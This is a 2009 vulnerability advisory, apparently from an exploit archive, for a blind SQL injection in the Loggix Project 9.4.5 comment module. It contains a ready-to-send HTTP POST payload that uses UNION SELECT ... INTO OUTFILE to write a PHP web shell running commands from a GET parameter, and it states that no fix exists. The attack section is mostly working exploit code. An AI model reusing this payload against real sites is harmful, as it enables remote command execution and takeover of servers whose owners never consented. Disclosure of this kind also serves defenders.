*******   Salvatore "drosophila" Fresta   *******

[+] Application: Loggix Project
[+] Version: 9.4.5
[+] Website: http://loggix.gotdns.org

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: modules/comment/post.php

This bug allows a guest to execute arbitrary
queries.


*************************************************

[+] Code


- [A] Blind SQL Injection

POST /path/modules/comment/post.php HTTP/1.1rn
Host: sitern
Keep-Alive: 300rn
Connection: keep-alivern
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 177rn
rn
title=title&comment=comment&user_name=user&user_pass=password&parent_key=key&refer_id=-1' UNION ALL SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/htdocs/rce.php


*************************************************

[+] Fix

No fix.


*************************************************

# www.Syue.com [2009-04-10]